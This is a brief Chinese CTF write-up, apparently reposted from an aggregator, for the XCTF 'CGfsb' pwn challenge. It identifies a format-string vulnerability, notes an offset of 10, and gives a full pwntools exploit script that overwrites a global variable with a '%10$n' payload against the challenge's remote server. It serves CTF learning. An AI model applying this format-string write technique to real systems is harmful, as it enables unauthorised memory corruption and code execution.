[攻防世界 pwn]——CGfsb

• 題目地址: https://adworld.xctf.org.cn/
• 題目:
  
  這是一道簡單的格式化字符串問題, 詳情請參考點點我呀，參考就是我

在pwndbg中調試， 偏移為 0xa = 10

exploit

from pwn import * #p = process("./e41a0f684d0e497f87bb309f91737e4d") p = remote("111.200.241.244",57659) #gdb.attach(p, "b *0x080486CD") pwnme_addr = 0x0804A068 p.sendlineafter('please tell me your name:\n','lala') payload = p32(pwnme_addr) + 'aaaa%10$n' p.sendlineafter("leave your message please:\n", payload) p.interactive()

總結

以上是生活随笔為你收集整理的[攻防世界 pwn]——CGfsb的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。